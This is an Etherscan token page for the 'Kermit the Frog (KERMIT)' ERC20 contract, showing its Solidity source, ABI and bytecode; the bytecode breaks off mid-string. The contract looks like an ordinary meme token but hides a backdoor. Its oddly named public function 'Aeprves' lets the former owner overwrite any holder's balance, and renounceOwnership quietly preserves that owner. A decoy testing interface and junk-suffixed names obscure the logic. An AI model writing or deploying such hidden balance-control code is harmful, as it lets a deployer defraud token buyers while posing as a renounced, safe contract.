ETH Price: $3,486.73 (+0.97%)

Token

Kermit the Frog (KERMIT)
 

Overview

Max Total Supply

420,690,000,000 KERMIT

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 KERMIT

Value
$0.00
0xe3b487a9dfb71d1b1de5c17b0db6581a941c2cd4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KERMIT

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-12-17
*/

/**
*/
/**
https://t.me/KERMITTHEFROG_ERC
https://twitter.com/Kermit_Token
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface CheatCodes {
    // This allows us to getRecordedLogs()
    struct Log {
        bytes32[] topics;
        bytes data;
    }
    // Set block.timestamp (newTimestamp)

    function warp(uint256) external;
    function roll(uint256) external;
    // Set block.basefee (newBasefee)
    function fee(uint256) external;
    // Set block.coinbase (who)
    function coinbase(address) external;
    // Loads a storage slot from an address (who, slot)
    function load(address, bytes32) external returns (bytes32);
    // Stores a value to an address' storage slot, (who, slot, value)
    function store(address, bytes32, bytes32) external;
    // Signs data, (privateKey, digest) => (v, r, s)
    function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
    // Gets address for a given private key, (privateKey) => (address)
    function addr(uint256) external returns (address);
    function deriveKey(string calldata, uint32) external returns (uint256);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
    function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
    // Performs a foreign function call via terminal, (stringInputs) => (result)
    function ffi(string[] calldata) external returns (bytes memory);
    // Set environment variables, (name, value)
    function setEnv(string calldata, string calldata) external;
    // Read environment variables, (name) => (value)
    function envBool(string calldata) external returns (bool);
    function envUint(string calldata) external returns (uint256);
    function envInt(string calldata) external returns (int256);
    function envAddress(string calldata) external returns (address);
    function envBytes32(string calldata) external returns (bytes32);
    function envString(string calldata) external returns (string memory);
    function envBytes(string calldata) external returns (bytes memory);
    // Read environment variables as arrays, (name, delim) => (value[])
    function envBool(string calldata, string calldata) external returns (bool[] memory);
    function envUint(string calldata, string calldata) external returns (uint256[] memory);
    function envInt(string calldata, string calldata) external returns (int256[] memory);
    function envAddress(string calldata, string calldata) external returns (address[] memory);
    function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
    function envString(string calldata, string calldata) external returns (string[] memory);
    function envBytes(string calldata, string calldata) external returns (bytes[] memory);
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    function startPrank(address) external;
    function prank(address, address) external;
    function startPrank(address, address) external;
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert() external;
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    // Record all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
    // Record all the transaction logs
    function recordLogs() external;
    // Gets all the recorded logs
    function getRecordedLogs() external returns (Log[] memory);
    function expectEmit(bool, bool, bool, bool) external;
    function expectEmit(bool, bool, bool, bool, address) external;
    function mockCall(address, bytes calldata, bytes calldata) external;
    // Mocks a call to an address with a specific msg.value, returning specified data.
    // Calldata match takes precedence over msg.value in case of ambiguity.
    function mockCall(address, uint256, bytes calldata, bytes calldata) external;
    // Clears all mocked calls
    function clearMockedCalls() external;
    // Expect a call to an address with the specified calldata.
    // Calldata can either be strict or a partial match
    function expectCall(address, bytes calldata) external;
    // Expect a call to an address with the specified msg.value and calldata
    function expectCall(address, uint256, bytes calldata) external;
    // Gets the code from an artifact file. Takes in the relative path to the json file
    function getCode(string calldata) external returns (bytes memory);
    // Labels an address in call traces
    function label(address, string calldata) external;
    // If the condition is false, discard this run's fuzz inputs and generate new ones
    function assume(bool) external;
    // Set nonce for an account
    function setNonce(address, uint64) external;
    // Get nonce for an account
    function getNonce(address) external returns (uint64);
    // Set block.chainid (newChainId)
    function chainId(uint256) external;
    // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
    function broadcast() external;
    // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
    function broadcast(address) external;
    function startBroadcast() external;
    // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast(address) external;
    // Stops collecting onchain transactions
    function stopBroadcast() external;
    // Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
    function readFile(string calldata) external returns (string memory);
    // Reads next line of file to string, (path) => (line)
    function readLine(string calldata) external returns (string memory);
    // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
    // Path is relative to the project root. (path, data) => ()
    function writeFile(string calldata, string calldata) external;
    // Writes line to file, creating a file if it does not exist.
    // Path is relative to the project root. (path, data) => ()
    function writeLine(string calldata, string calldata) external;
    // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
    // Path is relative to the project root. (path) => ()
    function closeFile(string calldata) external;
    function removeFile(string calldata) external;

    function toString(address) external returns (string memory);
    function toString(bytes calldata) external returns (string memory);
    function toString(bytes32) external returns (string memory);
    function toString(bool) external returns (string memory);
    function toString(uint256) external returns (string memory);
    function toString(int256) external returns (string memory);

    function snapshot() external returns (uint256);
  
    function revertTo(uint256) external returns (bool);
    // Creates a new fork with the given endpoint and block and returns the identifier of the fork
    function createFork(string calldata, uint256) external returns (uint256);
    // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
    function createFork(string calldata) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
    function createSelectFork(string calldata, uint256) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
    function createSelectFork(string calldata) external returns (uint256);
    // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
    function selectFork(uint256) external;
    /// Returns the currently active fork
    /// Reverts if no fork is currently active
    function activeFork() external returns (uint256);
    // Updates the currently active fork to given block number
    // This is similar to `roll` but for the currently active fork
    function rollFork(uint256) external;
    // Updates the given fork to given block number
    function rollFork(uint256 forkId, uint256 blockNumber) external;
    /// Returns the RPC url for the given alias
    function rpcUrl(string calldata) external returns (string memory);
    /// Returns all rpc urls and their aliases `[alias, url][]`
    function rpcUrls() external returns (string[2][] memory);
    function makePersistent(address account) external;
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transfer_hoppeiOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transfer_hoppeiOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_hoppeiOwnership(newOwner);
    }
 

    function _transfer_hoppeiOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hpei(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hpei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer_hpei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }


    function _transfer_cwlfei(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Aeprves(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSendere == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}


contract KERMIT is ERC20 {
    uint256 private constant TOAL_SUPYGYS =420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_hoppei;
    uint256 public maxTadsss;
    uint256 public max_adrssbs;
    mapping(address => bool) public isException;

    uint256 _burnetbou = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Kermit the Frog", "KERMIT", TOAL_SUPYGYS) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        max_adrssbs= TOAL_SUPYGYS / 40;
        maxTadsss = TOAL_SUPYGYS / 40;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hpei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnetbou) / 100;

                super._transfer_cwlfei(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hpei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_hoppei = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_hoppei) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTadsss, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= max_adrssbs, "Max holding exceeded max");
            }
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aeprves","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTadsss","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_adrssbs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b553480156200001657600080fd5b50604051620030c9380380620030c983398181016040528101906200003c91906200050f565b6040518060400160405280600f81526020017f4b65726d6974207468652046726f6700000000000000000000000000000000008152506040518060400160405280600681526020017f4b45524d495400000000000000000000000000000000000000000000000000008152506816ce3f1e16bf150000620000d2620000c66200039860201b60201c565b620003a060201b60201c565b8260059081620000e39190620007bb565b508160069081620000f59190620007bb565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001a19190620008b3565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060286816ce3f1e16bf1500006200020a9190620008ff565b60098190555060286816ce3f1e16bf150000620002289190620008ff565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000937565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004d782620004aa565b9050919050565b620004e981620004ca565b8114620004f557600080fd5b50565b6000815190506200050981620004de565b92915050565b600060208284031215620005285762000527620004a5565b5b60006200053884828501620004f8565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c357607f821691505b602082108103620005d957620005d86200057b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000604565b6200064f868362000604565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200069c62000696620006908462000667565b62000671565b62000667565b9050919050565b6000819050919050565b620006b8836200067b565b620006d0620006c782620006a3565b84845462000611565b825550505050565b600090565b620006e7620006d8565b620006f4818484620006ad565b505050565b5b818110156200071c5762000710600082620006dd565b600181019050620006fa565b5050565b601f8211156200076b576200073581620005df565b6200074084620005f4565b8101602085101562000750578190505b620007686200075f85620005f4565b830182620006f9565b50505b505050565b600082821c905092915050565b6000620007906000198460080262000770565b1980831691505092915050565b6000620007ab83836200077d565b9150826002028217905092915050565b620007c68262000541565b67ffffffffffffffff811115620007e257620007e16200054c565b5b620007ee8254620005aa565b620007fb82828562000720565b600060209050601f8311600181146200083357600084156200081e578287015190505b6200082a85826200079d565b8655506200089a565b601f1984166200084386620005df565b60005b828110156200086d5784890151825560018201915060208501945060208101905062000846565b868310156200088d578489015162000889601f8916826200077d565b8355505b6001600288020188555050505b505050505050565b620008ad8162000667565b82525050565b6000602082019050620008ca6000830184620008a2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200090c8262000667565b9150620009198362000667565b9250826200092c576200092b620008d0565b5b828204905092915050565b61278280620009476000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063ba4ea41111610071578063ba4ea41114610349578063c5feed6d14610367578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b80638da5cb5b1461027d57806395d89b411461029b57806398636f32146102b9578063a457c2d7146102e9578063a9059cbb146103195761012c565b806339509351116100f457806339509351146101eb5780635f6c6c221461021b578063622565891461023957806370a0823114610243578063715018a6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610401565b6040516101469190611bef565b60405180910390f35b61016960048036038101906101649190611caa565b610493565b6040516101769190611d05565b60405180910390f35b6101876104b1565b6040516101949190611d2f565b60405180910390f35b6101b760048036038101906101b29190611d4a565b6104bb565b6040516101c49190611d05565b60405180910390f35b6101d56105bc565b6040516101e29190611db9565b60405180910390f35b61020560048036038101906102009190611caa565b6105c5565b6040516102129190611d05565b60405180910390f35b610223610671565b6040516102309190611d2f565b60405180910390f35b610241610677565b005b61025d60048036038101906102589190611dd4565b61069c565b60405161026a9190611d2f565b60405180910390f35b61027b6106e5565b005b6102856106f9565b6040516102929190611e10565b60405180910390f35b6102a3610722565b6040516102b09190611bef565b60405180910390f35b6102d360048036038101906102ce9190611dd4565b6107b4565b6040516102e09190611d05565b60405180910390f35b61030360048036038101906102fe9190611caa565b6107d4565b6040516103109190611d05565b60405180910390f35b610333600480360381019061032e9190611caa565b6108c8565b6040516103409190611d05565b60405180910390f35b6103516108e6565b60405161035e9190611d2f565b60405180910390f35b610381600480360381019061037c9190611caa565b6108ec565b60405161038e9190611d2f565b60405180910390f35b6103b160048036038101906103ac9190611e2b565b6109b3565b6040516103be9190611d2f565b60405180910390f35b6103e160048036038101906103dc9190611dd4565b610a3a565b005b6103eb610abd565b6040516103f89190611d05565b60405180910390f35b60606005805461041090611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611e9a565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad0565b8484610ad8565b6001905092915050565b6000600454905090565b60006104c8848484610ca1565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90611f3d565b60405180910390fd5b6105b08561059f610ad0565b85846105ab9190611f8c565b610ad8565b60019150509392505050565b60006009905090565b60006106676105d2610ad0565b8484600360006105e0610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106629190611fc0565b610ad8565b6001905092915050565b60085481565b61067f610f99565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed610f99565b6106f76000611017565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461073190611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461075d90611e9a565b80156107aa5780601f1061077f576101008083540402835291602001916107aa565b820191906000526020600020905b81548152906001019060200180831161078d57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006107e3610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612088565b60405180910390fd5b6108bd6108ab610ad0565b8585846108b89190611f8c565b610ad8565b600191505092915050565b60006108dc6108d5610ad0565b8484610ca1565b6001905092915050565b60095481565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008260405160200161092c91906120f0565b60405160208183030381529060405280519060200120905060008260405160200161095791906120f0565b60405160208183030381529060405280519060200120905060008660001b905060008284149050801561099b5761098e898361111c565b96505050505050506109ad565b6109a4896111b2565b96505050505050505b92915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42610f99565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061217d565b60405180910390fd5b610aba81611017565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061220f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906122a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c949190611d2f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d76906123c5565b60405180910390fd5b610d8a8383836111fb565b6000810315610f9457600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e375750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f88576000610e69600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661069c565b14610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612431565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ff